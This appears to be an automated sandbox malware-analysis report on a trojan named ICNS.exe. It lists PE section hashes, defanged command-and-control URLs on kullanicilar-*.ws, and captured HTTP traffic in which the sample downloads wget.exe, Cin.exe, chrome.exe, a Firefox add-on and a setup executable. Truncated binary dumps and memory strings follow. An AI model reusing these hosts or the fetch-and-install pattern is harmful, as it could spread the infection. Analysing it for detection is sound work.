Product Name: ICNS
Product Version: 1.0.0.0
Legal Copyright: Copyright (c) 2015
Legal Trademarks:
Original Filename: ICNS.exe
Internal Name: ICNS.exe
File Version: 1.0.0.0
File Description: ICNS
Comments:
Language: Language Neutral

Company Name: Product Name: ICNSProduct Version: 1.0.0.0Legal Copyright: Copyright (c) 2015Legal Trademarks: Original Filename: ICNS.exeInternal Name: ICNS.exeFile Version: 1.0.0.0File Description: ICNSComments: Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text8192184070418411524.14234a425195136be0533c21f32efc0fb90ed
.rsrc185139274410241.67936c371a4ceeaca9a313ed53d0659fe377e
.reloc1859584125120.0706398a836da960b6068c7c28afb6f938b8af

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL IP
hxxp://partners.kullanicilar-1.ws/remote/confirmInstall?aid=00000666&h=4124-460A-77F0-735E-F419-E5C6-8F37-41AC&i=&c=b66ab1ff49490757600b68d6637265b6&sid=00000666104.31.89.124
hxxp://partners.kullanicilar-1.ws/remote/getPluginInstallFileFirefox?i=MG0b104.31.89.124
hxxp://partners.kullanicilar-1.ws/remote/getSetup?v=100&aid=00000666&sid=00000666104.31.89.124
hxxp://partners.kullanicilar-1.ws/static/Cin.exe104.31.89.124
hxxp://partners.kullanicilar-1.ws/static/wget.exe104.31.89.124
hxxp://partners.kullanicilar-1.ws/static/chrome.exe104.31.89.124
hxxp://partners.kullanicilar-1.ws/remote/getUpdate?&aid=00000666&sid=00000666&version=100&i=MG0b104.31.89.124
hxxp://partners.kullanicilar-10.ws/remote/getUpdate?&aid=00000666&sid=00000666&version=100&i=MG0b104.27.154.75
hxxp://partners.kullanicilar-1.ws:80/static/chrome.exe104.31.89.124

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /static/wget.exe HTTP/1.1

Host: partners.kullanicilar-1.ws

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 19 Aug 2015 04:24:58 GMT

Content-Type: application/x-msdownload

Content-Length: 73216

Connection: keep-alive

Set-Cookie: __cfduid=db969f93b067bbf2ff6259b14ab26968e1439958298; expires=Thu, 18-Aug-16 04:24:58 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly

Last-Modified: Thu, 01 Jul 1999 17:36:36 GMT

ETag: "102b04a8-11e00-34e9a8b1d1100"

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 218317852d97269c-FRA

MZ......................@...............................................!..L.!this is a Windows NT character-mode executable..$.PE..L.....|7................. .......... .............@..............:................................... ..........................<...................................................................................................................UPX0....................................UPX1..... ..........................@...UPX2................................@...3.09.UPX!....=..s.L...........|..&..2.{H......h......;.......=.8B.u..E......vo.....;..v....p....Ys5.....h.=...HSVJ.u.M.p..`..E..?..t .~.;p.r....`.}.v...PC.............3.}.C.1..^[..E....##.....4.P^..........s....C.0Sunday..g?.Mo.Tues.Wedn..`..Thur.Fri'Sat...s..E?93-....'!.Januar0Febr.l;..M.ch_Ap&l.<..lMT.Junely....Augustueptember.Octo.-....Nov..Dec....wqke_Y...{SMGA;5.2 ,.....u..].9..?..Z...PFJ..E.....[......PC_..w....}..t.:.t.....e..).<\]u.t.Y.....LbY.l.xb.]}.~.....M.Gw.....)..]...u.VWU....F.otw.dg.....X........7.]_^.yxwutsrpnmjhg.....cbaZYXWVUTSROMIHGEDCBA%..@.2.l.M..:.j......r.....C>.....Y.,......e.o..3*.KH....`.M...O.....k...7N......,....a.DW_.... ....R..E...K.A...3....&......G...8%t...7..s...C..:.....*...!0.......'?...h...$.$......2C<..1...G....p....WE ..t.k......ZM.....Q~|PS.....N..S....,......6.....-.....=.....i..x....b7.~.....}h.!.r.R...!..r..-.){.2.....o...t]~.. V...A.9]?..............._...;0r,.9w'k.....7..C..0..k....cw...\fr.v...c...7%9.}!S....r.fN......F..h...w!C..\....L....i..a..[.Y.yA......O.'"F.r.

<<< skipped >>>

GET /remote/confirmInstall?aid=00000666&h=4124-460A-77F0-735E-F419-E5C6-8F37-41AC&i=&c=b66ab1ff49490757600b68d6637265b6&sid=00000666 HTTP/1.1

Host: partners.kullanicilar-1.ws

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 19 Aug 2015 04:24:44 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=dde63c632e0c5681ce7dbc9747f2a17dd1439958284; expires=Thu, 18-Aug-16 04:24:44 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly

Cache-Control: private, must-revalidate

pragma: no-cache

expires: -1

Vary: Accept-Encoding

Server: cloudflare-nginx

CF-RAY: 2183172c736a2366-FRA

8..aid:MG0b..0..HTTP/1.1 200 OK..Date: Wed, 19 Aug 2015 04:24:44 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Set-Cookie: __cfduid=dde63c632e0c5681ce7dbc9747f2a17dd1439958284; expires=Thu, 18-Aug-16 04:24:44 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly..Cache-Control: private, must-revalidate..pragma: no-cache..expires: -1..Vary: Accept-Encoding..Server: cloudflare-nginx..CF-RAY: 2183172c736a2366-FRA..8..aid:MG0b..0......

GET /remote/getPluginInstallFileFirefox?i=MG0b HTTP/1.1

Host: partners.kullanicilar-1.ws

HTTP/1.1 200 OK

Date: Wed, 19 Aug 2015 04:24:45 GMT

Content-Type: application/octet-stream

Content-Length: 15901

Connection: keep-alive

Set-Cookie: __cfduid=dde63c632e0c5681ce7dbc9747f2a17dd1439958284; expires=Thu, 18-Aug-16 04:24:44 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly

Cache-Control: must-revalidate, post-check=0, pre-check=0, private

Expires: 0

Content-Description: File Transfer

Pragma: public

Content-Transfer-Encoding: binary

Content-Disposition: attachment; filename="MG0b.xpi"

Server: cloudflare-nginx

CF-RAY: 2183173073f62366-FRA

PK.........3.G..._............harness-options.json.V[o.0.~.....L..q....a.n.&U...9...8vj;.U......i.h/....\.s|.....uP$...>O.R./:7^...n..%.d.B*....G..9.}..T..$~.s.....t.pr...; JB..[=...............3..H.E..n....z...z8'&LL.2X..X.(...gmz@zi..K...Bg,_P.sx......Y.w.......~}......s..{hU..Y4.O..,.g0...x<.~.M.(D..?..I44X<....l8#..9.O..h..&.S.M....@).u....-..a......JH.k...l......n...g&.o.(C4....!.m'.M.t.,....;|S...k*..B3..kc......A.5Z..".}`$...h.......x.&2....Q.....!^....b....a.^...S.p#..b..KZk.)z`].L...h....b..").ex;.S.-............F).......{......e:...gT..<._\'.....,.....Y..|".O..n..n..i.uv.3s)..Y....f.`.....P......_'...b.!."..H.x.....\]@A*...1...\..`p*......n...X.;.L;..r..YR.h!.d.Np..wr.I.Tk.V..PMB.?.l..3..=..a..=}W...T`_......2..1.O.q.....l..:.0.';@#M..\...J......|}...PK.........3.G................locale/nothing.txtPK.........3.G................defaults/preferences/prefs.jsPK.........3.G............#...resources/addon-sdk/lib/nothing.txtPK.........3.GL........7..,...resources/screenshottttt/data/page-script.js...r...=3....!e)..N.*-...N.llg-'.V..P"d1.mI..&....... %%.........~pn.....q^xaxr.....3{....'oH....~.....)~Y..qRdA|.*K.WI...b... .....C.n.u..o.R/.r....!....9lK...c...}..IH"...0$.M...~.)..r....4.D.m%.a.......O>\..&Q.....a.E......|7n......$.kU._k..K...$....%.f.Xe..P.......0$L..j...5...=.Hy..:....U...........Z.I.ojJs....3IU..SCSy.._.T....N..0....QL..........D.....N...o.......4.R....JBw-..f...../.-.A....o....W.Q...P....a....//.uq.|..@...-X8...y.....G..@..a....4.. sRt....uhv:.b.M....e...t..Nw....~_XW.2....

<<< skipped >>>

GET /remote/getSetup?v=100&aid=00000666&sid=00000666 HTTP/1.1

Host: partners.kullanicilar-1.ws

HTTP/1.1 200 OK

Date: Wed, 19 Aug 2015 04:24:45 GMT

Content-Type: application/octet-stream

Content-Length: 1843200

Connection: keep-alive

Set-Cookie: __cfduid=de3a9dcec2e0930d1e917b09bedc4886b1439958285; expires=Thu, 18-Aug-16 04:24:45 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly

Cache-Control: must-revalidate, post-check=0, pre-check=0, private

Expires: 0

Content-Description: File Transfer

Pragma: public

Content-Transfer-Encoding: binary

Content-Disposition: attachment; filename="icns_100.exe"

Server: cloudflare-nginx

CF-RAY: 2183173204212366-FRA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....ZRU............................*6... ...@....@.. ....................................@..................................5..L....@.......................`......................................................86............... ..H............text...@.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................H............"......A.......84...........................................0..5.........(......r...p(......(....:..........*.r5..p.(......*........0..P........(.........89............r9..p(....(....9......rM..p(....r_..p..(......X....i2.*.....0...........(.........8x............r9..p(....(....9W.....rM..p(....r...p.{.....(......rM..p(....r...p.{.....(......r...p(.....(.........&.......X....i2.*.......g..~.......0(..........(....:....*.(......(!.....r...po....t9.....ou...t=...o....o......r...po.....or...r...por...t:...........87.......oU...r'..por...o.....{....o....9......(.........X......o....2...:M......oU...o........r3..pr;..p.{....rI..p(....(....os.....r'..p.{....(....os.....rS..p.(....os.....rc..p.{....(....os.....r{..p.{....(....os.....r...p.{....(....os.....r...p...........r...p.{....s........r...psH...s........r...psH...s.......s....sK...os....r...p.{....rI..p(........r...p..(....os.....r...pr...p(....os......oU.....on.....(%........(....*.......0..)..........(....9....r...p.r...p(......s........(....9..

<<< skipped >>>

GET /static/Cin.exe HTTP/1.1

Host: partners.kullanicilar-1.ws

HTTP/1.1 200 OK

Date: Wed, 19 Aug 2015 04:24:47 GMT

Content-Type: application/x-msdownload

Content-Length: 534016

Connection: keep-alive

Set-Cookie: __cfduid=dcfb6698627a892a0ff28c055ce4bf6251439958286; expires=Thu, 18-Aug-16 04:24:46 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly

Last-Modified: Fri, 15 May 2015 13:22:50 GMT

ETag: "102b04a7-82600-5161ebda39e80"

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 2183173d856f2366-FRA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*.UU............................v1... ...@....@.. ....................................@.................................(1..L....@..j....................`.......................................................1............... ..H............text........ ...................... ..`.rsrc...j....@......................@..@.reloc.......`.......$..............@..B................H........................\..`>...........................................0..6.......r...p(.......8.............o.........&.......X....i2.*...........%........(....*..(....*.0..6.......~.....(....9 ...r...p.....(....o....s...........~....*.......~....*........*V(....rm..p~....o....*..V(....r...p~....o....*...0..........(....s......o....s".....o....*.......0..8.......(....o......s....(....o......r...p(.....r...p(....(....*.....*...0"..........(.....(......(....:......(....&.(....(....:E.....(.....{....(.....(.....(....&.(.....(.....( ...s .....o&......(!.....(....(......(....(......(....(......(....(......(....(.........&.....*....................0..........r...p(......r...p(......(....9j......(......r...po....:.....(....(......r...p(........r7..po....:.....(....(......r7..p(........9......(....*........0..........(....o......s....(....o......*.......0...........(......rs..p(......*.......F.(....r...p(....*...0..5.......s......r...p.o.....(....(....:.....(....s....z.(....*........0..A.......s.......o......o.

<<< skipped >>>

GET /remote/getUpdate?&aid=00000666&sid=00000666&version=100&i=MG0b HTTP/1.1

Host: partners.kullanicilar-1.ws

HTTP/1.1 200 OK

Date: Wed, 19 Aug 2015 04:25:12 GMT

Content-Type: application/json

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=db714f9859b4ba004ebb1fa273d5455d11439958312; expires=Thu, 18-Aug-16 04:25:12 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly

Cache-Control: private, must-revalidate

pragma: no-cache

expires: -1

Vary: Accept-Encoding

Server: cloudflare-nginx

CF-RAY: 218317dedcb72366-FRA

2..{}..0..HTTP/1.1 200 OK..Date: Wed, 19 Aug 2015 04:25:12 GMT..Content-Type: application/json..Transfer-Encoding: chunked..Connection: keep-alive..Set-Cookie: __cfduid=db714f9859b4ba004ebb1fa273d5455d11439958312; expires=Thu, 18-Aug-16 04:25:12 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly..Cache-Control: private, must-revalidate..pragma: no-cache..expires: -1..Vary: Accept-Encoding..Server: cloudflare-nginx..CF-RAY: 218317dedcb72366-FRA..2..{}..0..

GET /static/chrome.exe HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: partners.kullanicilar-1.ws:80

Accept: */*

HTTP/1.1 200 OK

Date: Wed, 19 Aug 2015 04:24:59 GMT

Content-Type: application/x-msdownload

Content-Length: 31990778

Connection: close

Set-Cookie: __cfduid=daf7a580e9ed3cd6d35aeeee9603800351439958299; expires=Thu, 18-Aug-16 04:24:59 GMT; path=/; domain=.kullanicilar-1.ws; HttpOnly

Last-Modified: Thu, 19 Feb 2015 11:22:54 GMT

ETag: "102b04a9-1e823fa-50f6f28367f80"

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 21831789a9672708-FRA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........f..{5..{5..{5...5..{5..z5(.{5...5..{5...5..{5...5..{5...5..{5...5..{5...5..{5Rich..{5........PE..L...Yj>O.....................d...............0....@..................................................................K..3...L<...........@...........................2...............................................0...............................text...2........................... ..`.rdata..5....0......."..............@..@.data....V...P.......@..............@....CRT.................B..............@..@.rsrc....@.......B...D..............@..@..................................................................................................................................................................................................................................................................................................................................................................@s... s........................................D$..L$....L$.u..D$......S.....D$..d$....D$.....[...............WVS3..D$...}.G.T$.........D$..T$..D$...}.G.T$.........D$..T$...u..L$..D$.3......D$......A...L$..T$..D$...........u......d$....D$.....r.;T$.w.r.;D$.v.N3...Ou........[^_.........WVU3.3..D$...}.GE.T$.........D$..T$..D$...}.G.T$.........D$..T$...u(.L$..D$.3......D$........d$......d$....G...L$..T$..D$...........u......d$....D$.....r.;T$.w.r.;D$.v.N D$..T$.3. D$..T$.My..................Ou........]

<<< skipped >>>

GET /remote/getUpdate?&aid=00000666&sid=00000666&version=100&i=MG0b HTTP/1.1

Host: partners.kullanicilar-10.ws

Connection: Keep-Alive

HTTP/1.1 403 Forbidden

Date: Wed, 19 Aug 2015 04:25:16 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=db0e2ffd00b72812ff028ffa88a9304cf1439958315; expires=Thu, 18-Aug-16 04:25:15 GMT; path=/; domain=.kullanicilar-10.ws; HttpOnly

Server: cloudflare-nginx

CF-RAY: 218317f254322654-FRA

172d..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN". "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">. <head>. <title>Domena partners.kullanicilar-10.ws jest utrzymywana na serwerach nazwa.pl</title>.. <meta http-equiv="content-type" content="text/html; charset=utf-8" />. <link rel="stylesheet" href="hXXp://kf.nazwa.pl/templates/blackdown-template-08.2011/css/style.css" type="text/css" />. <link rel="shortcut icon" href="favicon.ico" />. <script type="text/javascript">.. var Links = {. url: 'hXXp://nazwa.pl/domeny-hosting-serwery,4225.html?utm_medium=blackdown&utm_source=blackdown&utm_campaign=20000101_strona&utm_term=&utm_content=685x390_',.. redirect: function() {. try {. //window.location = Links.url;. parent.location.href = Links.url;. }. catch(e) {}. return false;. },.. refresh: function() {. window.setTimeout('Links.redirect()', 8000);. },.. load: function() {. var obj = this;. window.onload = function() {. obj.refresh();. }. }. }.. Links.load();.. function policyButtonClicked() {. var data = new Date();. data.setTime(data.getTime() (100*365*24*60*60*1000));. document.cookie="polityka=true; expires=" data.toGMTString

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

chrome.exe_876:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

SSShx

SSShx

xSSSh

xSSSh

FTPjKS

FTPjKS

FtPj;S

FtPj;S

C.PjRV

C.PjRV

0.0.0.0-devel

0.0.0.0-devel

Chrome

Chrome

ChromeFrame

ChromeFrame

CHROME_METRO_DLL

CHROME_METRO_DLL

Could not find exported function

Could not find exported function

app\client_util.cc

app\client_util.cc

RelaunchChromeBrowserWithNewCommandLineIfNeeded

RelaunchChromeBrowserWithNewCommandLineIfNeeded

Failed to load Chrome DLL from

Failed to load Chrome DLL from

No valid Chrome version found

No valid Chrome version found

ChromeMain

ChromeMain

NTDLL.DLL

NTDLL.DLL

CHROME_BREAKPAD_PIPE_NAME

CHROME_BREAKPAD_PIPE_NAME

1.3.21.115

1.3.21.115

app\breakpad_win.cc

app\breakpad_win.cc

subresource_url

subresource_url

rsesek_key

rsesek_key

hXXp://VVV.google.com/search?q=%s&sourceid=chrome&ie=UTF-8

hXXp://VVV.google.com/search?q=%s&sourceid=chrome&ie=UTF-8

browser\chrome_process_finder_win.cc

browser\chrome_process_finder_win.cc

installer\util\google_update_settings.cc

installer\util\google_update_settings.cc

Removed multi-install failure key; switching to channel:

Removed multi-install failure key; switching to channel:

Removed incremental installer failure key; switching to channel:

Removed incremental installer failure key; switching to channel:

Failed to write to application's ClientState key

Failed to write to application's ClientState key

auto-launch-chrome

auto-launch-chrome

chrome

chrome

chrome-frame

chrome-frame

chrome-sxs

chrome-sxs

do-not-launch-chrome

do-not-launch-chrome

make-chrome-default

make-chrome-default

new-setup-exe

new-setup-exe

register-chrome-browser

register-chrome-browser

register-chrome-browser-suffix

register-chrome-browser-suffix

register-dev-chrome

register-dev-chrome

register-url-protocol

register-url-protocol

rename-chrome-exe

rename-chrome-exe

remove-chrome-registration

remove-chrome-registration

update-setup-exe

update-setup-exe

toast-results-key

toast-results-key

installer\util\channel_info.cc

installer\util\channel_info.cc

Skipping over key "

Skipping over key "

Failed to open key "

Failed to open key "

Cannot initialize AppCommands from an invalid key.

Cannot initialize AppCommands from an invalid key.

installer\util\app_commands.cc

installer\util\app_commands.cc

googlechrome

googlechrome

iexplore.exe

iexplore.exe

googlechromeframe

googlechromeframe

googlechromeapphost

googlechromeapphost

installer\util\master_preferences.cc

installer\util\master_preferences.cc

Cannot initialize an AppCommand from an invalid key.

Cannot initialize an AppCommand from an invalid key.

installer\util\app_command.cc

installer\util\app_command.cc

installer\util\language_selector.cc

installer\util\language_selector.cc

auto_launch_chrome

auto_launch_chrome

chrome_frame

chrome_frame

chrome_shortcut_icon_index

chrome_shortcut_icon_index

import_bookmarks

import_bookmarks

import_bookmarks_from_file

import_bookmarks_from_file

import_history

import_history

import_home_page

import_home_page

import_search_engine

import_search_engine

do_not_launch_chrome

do_not_launch_chrome

make_chrome_default

make_chrome_default

make_chrome_default_for_user

make_chrome_default_for_user

extensions.settings

extensions.settings

kernel32.dll

kernel32.dll

NtOpenKey

NtOpenKey

NtCreateKey

NtCreateKey

NtOpenKeyEx

NtOpenKeyEx

CreateNamedPipeW

CreateNamedPipeW

AudioCaptureAllowedUrls

AudioCaptureAllowedUrls

AutoSelectCertificateForUrls

AutoSelectCertificateForUrls

CloudPrintProxyEnabled

CloudPrintProxyEnabled

CloudPrintSubmitEnabled

CloudPrintSubmitEnabled

ContentPackManualBehaviorURLs

ContentPackManualBehaviorURLs

CookiesAllowedForUrls

CookiesAllowedForUrls

CookiesBlockedForUrls

CookiesBlockedForUrls

CookiesSessionOnlyForUrls

CookiesSessionOnlyForUrls

DefaultSearchProviderAlternateURLs

DefaultSearchProviderAlternateURLs

DefaultSearchProviderIconURL

DefaultSearchProviderIconURL

DefaultSearchProviderInstantURL

DefaultSearchProviderInstantURL

DefaultSearchProviderKeyword

DefaultSearchProviderKeyword

DefaultSearchProviderSearchTermsReplacementKey

DefaultSearchProviderSearchTermsReplacementKey

DefaultSearchProviderSearchURL

DefaultSearchProviderSearchURL

DefaultSearchProviderSuggestURL

DefaultSearchProviderSuggestURL

EnableAuthNegotiatePort

EnableAuthNegotiatePort

EnableOriginBoundCerts

EnableOriginBoundCerts

HideWebStoreIcon

HideWebStoreIcon

ImagesAllowedForUrls

ImagesAllowedForUrls

ImagesBlockedForUrls

ImagesBlockedForUrls

ImportBookmarks

ImportBookmarks

ImportHistory

ImportHistory

ImportHomepage

ImportHomepage

ImportSavedPasswords

ImportSavedPasswords

ImportSearchEngine

ImportSearchEngine

JavaScriptAllowedForUrls

JavaScriptAllowedForUrls

JavaScriptBlockedForUrls

JavaScriptBlockedForUrls

MetricsReportingEnabled

MetricsReportingEnabled

NotificationsAllowedForUrls

NotificationsAllowedForUrls

NotificationsBlockedForUrls

NotificationsBlockedForUrls

PasswordManagerAllowShowPasswords

PasswordManagerAllowShowPasswords

PasswordManagerEnabled

PasswordManagerEnabled

PluginsAllowedForUrls

PluginsAllowedForUrls

PluginsBlockedForUrls

PluginsBlockedForUrls

PopupsAllowedForUrls

PopupsAllowedForUrls

PopupsBlockedForUrls

PopupsBlockedForUrls

ProxyBypassList

ProxyBypassList

ProxyPacUrl

ProxyPacUrl

RemoteAccessHostDomain

RemoteAccessHostDomain

RemoteAccessHostFirewallTraversal

RemoteAccessHostFirewallTraversal

RemoteAccessHostRequireCurtain

RemoteAccessHostRequireCurtain

RemoteAccessHostRequireTwoFactor

RemoteAccessHostRequireTwoFactor

RemoteAccessHostTalkGadgetPrefix

RemoteAccessHostTalkGadgetPrefix

RestoreOnStartupURLs

RestoreOnStartupURLs

URLBlacklist

URLBlacklist

URLWhitelist

URLWhitelist

VideoCaptureAllowedUrls

VideoCaptureAllowedUrls

ChromeFrameContentTypes

ChromeFrameContentTypes

ChromeFrameRendererSettings

ChromeFrameRendererSettings

ChromeOsLockOnIdleSuspend

ChromeOsLockOnIdleSuspend

ChromeOsReleaseChannel

ChromeOsReleaseChannel

ChromeOsReleaseChannelDelegated

ChromeOsReleaseChannelDelegated

DeviceAllowRedeemChromeOsRegistrationOffers

DeviceAllowRedeemChromeOsRegistrationOffers

DeviceLocalAccountAutoLoginBailoutEnabled

DeviceLocalAccountAutoLoginBailoutEnabled

DeviceLocalAccountAutoLoginDelay

DeviceLocalAccountAutoLoginDelay

DeviceLocalAccountAutoLoginId

DeviceLocalAccountAutoLoginId

DeviceLoginScreenDefaultHighContrastEnabled

DeviceLoginScreenDefaultHighContrastEnabled

DeviceLoginScreenDefaultLargeCursorEnabled

DeviceLoginScreenDefaultLargeCursorEnabled

DeviceLoginScreenDefaultScreenMagnifierType

DeviceLoginScreenDefaultScreenMagnifierType

DeviceLoginScreenDefaultSpokenFeedbackEnabled

DeviceLoginScreenDefaultSpokenFeedbackEnabled

DeviceLoginScreenPowerManagement

DeviceLoginScreenPowerManagement

DeviceLoginScreenSaverId

DeviceLoginScreenSaverId

DeviceLoginScreenSaverTimeout

DeviceLoginScreenSaverTimeout

DeviceMetricsReportingEnabled

DeviceMetricsReportingEnabled

DeviceStartUpUrls

DeviceStartUpUrls

EnterpriseWebStoreName

EnterpriseWebStoreName

EnterpriseWebStoreURL

EnterpriseWebStoreURL

HideWebStorePromo

HideWebStorePromo

RenderInChromeFrameList

RenderInChromeFrameList

ReportDeviceActivityTimes

ReportDeviceActivityTimes

ReportDeviceBootMode

ReportDeviceBootMode

ReportDeviceLocation

ReportDeviceLocation

ReportDeviceNetworkInterfaces

ReportDeviceNetworkInterfaces

ReportDeviceVersionInfo

ReportDeviceVersionInfo

SuppressChromeFrameTurndownPrompt

SuppressChromeFrameTurndownPrompt

TermsOfServiceURL

TermsOfServiceURL

CHROME_HEADLESS

CHROME_HEADLESS

CHROME_LOG_FILE

CHROME_LOG_FILE

CHROMEOS_SESSION_LOG_DIR

CHROMEOS_SESSION_LOG_DIR

CHROME_CRASHED

CHROME_CRASHED

CHROME_RESTART

CHROME_RESTART

allow-http-background-page

allow-http-background-page

allow-http-screen-capture

allow-http-screen-capture

apps-checkout-url

apps-checkout-url

apps-gallery-download-url

apps-gallery-download-url

apps-gallery-url

apps-gallery-url

apps-gallery-update-url

apps-gallery-update-url

chrome-version

chrome-version

device-management-url

device-management-url

disable-extensions-http-throttling

disable-extensions-http-throttling

disable-password-autofill-public-suffix-domain-matching

disable-password-autofill-public-suffix-domain-matching

disable-sync-passwords

disable-sync-passwords

disable-sync-typed-urls

disable-sync-typed-urls

disable-web-resources

disable-web-resources

enable-auth-negotiate-port

enable-auth-negotiate-port

enable-password-autofill-public-suffix-domain-matching

enable-password-autofill-public-suffix-domain-matching

enable-autologin

enable-autologin

enable-metrics-reporting-for-testing

enable-metrics-reporting-for-testing

enable-npn-http

enable-npn-http

enable-password-generation

enable-password-generation

enable-quic-https

enable-quic-https

enable-save-password-bubble

enable-save-password-bubble

enable-user-controlled-alternate-protocol-ports

enable-user-controlled-alternate-protocol-ports

enable-websocket-over-spdy

enable-websocket-over-spdy

explicitly-allowed-ports

explicitly-allowed-ports

google-base-url

google-base-url

google-search-domain-check-url

google-search-domain-check-url

ignore-urlfetcher-cert-requests

ignore-urlfetcher-cert-requests

install-from-webstore

install-from-webstore

limited-install-from-webstore

limited-install-from-webstore

pack-extension-key

pack-extension-key

promo-server-url

promo-server-url

proxy-bypass-list

proxy-bypass-list

proxy-pac-url

proxy-pac-url

safebrowsing-url-prefix

safebrowsing-url-prefix

safebrowsing-download-feedback-url

safebrowsing-download-feedback-url

spelling-service-feedback-url

spelling-service-feedback-url

sync-invalidate-xmpp-login

sync-invalidate-xmpp-login

sync-notification-host-port

sync-notification-host-port

sync-url

sync-url

sync-try-ssltcp-first-for-xmpp

sync-try-ssltcp-first-for-xmpp

enable-syncfs-directory-operation

enable-syncfs-directory-operation

translate-script-url

translate-script-url

try-chrome-again

try-chrome-again

variations-server-url

variations-server-url

visit-urls

visit-urls

winhttp-proxy-resolver

winhttp-proxy-resolver

plugins-metadata-server-url

plugins-metadata-server-url

windows8-search

windows8-search

CHROME_VERSION

CHROME_VERSION

>CHROME_PRE_READ_EXPERIMENT

>CHROME_PRE_READ_EXPERIMENT

chrome.googleechotest.com

chrome.googleechotest.com

hXXp://pipelining.googleechotest.com/

hXXp://pipelining.googleechotest.com/

profile.managed.manual_hosts

profile.managed.manual_hosts

profile.managed.manual_urls

profile.managed.manual_urls

profile.managed.custodian_email

profile.managed.custodian_email

profile.managed.custodian_name

profile.managed.custodian_name

profile.icon_version

profile.icon_version

profile.exited_cleanly

profile.exited_cleanly

profile.exit_type

profile.exit_type

session.restore_on_startup

session.restore_on_startup

session.restore_on_startup_migrated

session.restore_on_startup_migrated

session.urls_to_restore_on_startup

session.urls_to_restore_on_startup

intl.app_locale

intl.app_locale

intl.charset_default

intl.charset_default

intl.accept_languages

intl.accept_languages

intl.static_encodings

intl.static_encodings

intl.global.charset_default

intl.global.charset_default

webkit.webprefs.global.default_font_size

webkit.webprefs.global.default_font_size

webkit.webprefs.global.default_fixed_font_size

webkit.webprefs.global.default_fixed_font_size

webkit.webprefs.global.minimum_font_size

webkit.webprefs.global.minimum_font_size

webkit.webprefs.global.minimum_logical_font_size

webkit.webprefs.global.minimum_logical_font_size

webkit.webprefs.global.javascript_enabled

webkit.webprefs.global.javascript_enabled

webkit.webprefs.global.javascript_can_open_windows_automatically

webkit.webprefs.global.javascript_can_open_windows_automatically

webkit.webprefs.global.loads_images_automatically

webkit.webprefs.global.loads_images_automatically

webkit.webprefs.global.plugins_enabled

webkit.webprefs.global.plugins_enabled

webkit.webprefs.global.standard_font_family

webkit.webprefs.global.standard_font_family

webkit.webprefs.global.fixed_font_family

webkit.webprefs.global.fixed_font_family

webkit.webprefs.global.serif_font_family

webkit.webprefs.global.serif_font_family

webkit.webprefs.global.sansserif_font_family

webkit.webprefs.global.sansserif_font_family

webkit.webprefs.global.cursive_font_family

webkit.webprefs.global.cursive_font_family

webkit.webprefs.global.fantasy_font_family

webkit.webprefs.global.fantasy_font_family

webkit.webprefs.standard_font_family

webkit.webprefs.standard_font_family

webkit.webprefs.fixed_font_family

webkit.webprefs.fixed_font_family

webkit.webprefs.serif_font_family

webkit.webprefs.serif_font_family

webkit.webprefs.sansserif_font_family

webkit.webprefs.sansserif_font_family

webkit.webprefs.cursive_font_family

webkit.webprefs.cursive_font_family

webkit.webprefs.fantasy_font_family

webkit.webprefs.fantasy_font_family

webkit.webprefs.fonts.standard

webkit.webprefs.fonts.standard

webkit.webprefs.fonts.fixed

webkit.webprefs.fonts.fixed

webkit.webprefs.fonts.serif

webkit.webprefs.fonts.serif

webkit.webprefs.fonts.sansserif

webkit.webprefs.fonts.sansserif

webkit.webprefs.fonts.cursive

webkit.webprefs.fonts.cursive

webkit.webprefs.fonts.fantasy

webkit.webprefs.fonts.fantasy

webkit.webprefs.fonts.pictograph

webkit.webprefs.fonts.pictograph

webkit.webprefs.fonts.standard.Arab

webkit.webprefs.fonts.standard.Arab

webkit.webprefs.fonts.fixed.Arab

webkit.webprefs.fonts.fixed.Arab

webkit.webprefs.fonts.serif.Arab

webkit.webprefs.fonts.serif.Arab

webkit.webprefs.fonts.sansserif.Arab

webkit.webprefs.fonts.sansserif.Arab

webkit.webprefs.fonts.standard.Cyrl

webkit.webprefs.fonts.standard.Cyrl

webkit.webprefs.fonts.fixed.Cyrl

webkit.webprefs.fonts.fixed.Cyrl

webkit.webprefs.fonts.serif.Cyrl

webkit.webprefs.fonts.serif.Cyrl

webkit.webprefs.fonts.sansserif.Cyrl

webkit.webprefs.fonts.sansserif.Cyrl

webkit.webprefs.fonts.standard.Grek

webkit.webprefs.fonts.standard.Grek

webkit.webprefs.fonts.fixed.Grek

webkit.webprefs.fonts.fixed.Grek

webkit.webprefs.fonts.serif.Grek

webkit.webprefs.fonts.serif.Grek

webkit.webprefs.fonts.sansserif.Grek

webkit.webprefs.fonts.sansserif.Grek

